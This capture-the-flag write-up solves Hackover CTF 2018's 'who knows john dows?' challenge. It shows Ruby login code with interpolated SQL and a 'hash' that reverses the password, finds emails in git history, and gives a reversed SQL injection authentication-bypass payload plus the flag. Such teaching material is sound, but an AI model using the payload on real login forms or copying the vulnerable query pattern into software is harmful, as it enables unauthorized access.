Tags: hash sqlinjection information_gathering
Rating: 5.0
CTF Gandalf here, with another problem to your solution. This time for the Hackover CTF 2018's `who knows john dows?` challenge.
This time, we're presented with both a piece of source code [on github](https://github.com/h18johndoe/user_repository), and a login form.
```ruby
class UserRepo
def initialize(database)
@database = database
@users = database[:users]
end
def login(identification, password)
hashed_input_password = hash(password)
query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
puts "SQL executing: '#{query}'"
@database[query].first if user_exists?(identification)
end
def user_exists?(identification)
!get_user_by_identification(identification).nil?
end
private
def get_user_by_identification(identification)
@users.where(phone: identification).or(email: identification).first
end
def hash(password)
password.reverse
end
end
```

To get past the login form, we need a valid email address.
We thought the odds were pretty good that [the developer](https://github.com/h18johndoe) has an account on their own page, so to gather potential email addresses we dug around in their git history.
As the history of `user_repository` shows, we're met with four potential targets:
```
commit b26aed283d56c65845b02957a11d90bc091ac35a (HEAD -> master, origin/master, origin/HEAD)
Author: John Doe <[email protected]>
Date: Tue Oct 2 23:55:57 2018 +0200
Add login method
commit 5383fb4179f1aec972c5f2cc956a0fee07af353a
Author: John Doe <[email protected]>
Date: Tue Oct 2 23:04:13 2018 +0200
Add methods
commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153c
Author: John Doe <[email protected]>
Date: Tue Oct 2 23:02:26 2018 +0200
Add dependency injection for database
commit 3ec70acbf846037458c93e8d0cb79a6daac98515
Author: John Doe <[email protected]>
Date: Tue Oct 2 23:01:30 2018 +0200
Add user repo class and file
```
Trying through all of them, we found `[email protected]` to be a working one.
This redirects us to a password form:

Looking back at the code we have, we can see that the password check is as follows:
```ruby
def hash(password)
password.reverse
end
hashed_input_password = hash(password)
query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
```
There are several blatant issues with that code that allow us to authenticate:
- The SQL query is constructed using string interpolation instead of proper escaping and parameterization
- The hash function is merely reversing the password input
To make use of the first issue, we simply construct a very generic SQL injection payload:
`' or 1=1 limit 1;--`
Now we need to work with the second issue in mind, which means we have to reverse our payload so that the 'hash' will end up as our original payload:
`--;1 timil 1=1 ro '`
The query that will be constructed now looks somewhat like this:
```sql
select id, phone, email from users where email = '...' and password_digest = '' or 1=1 limit 1;--' limit 1
```
This successfully logs us in.

Trusting the website, our flag is `hackover18{I_KN0W_H4W_70_STALK_2018}`
That's all, folks!
__CTF Gandalf__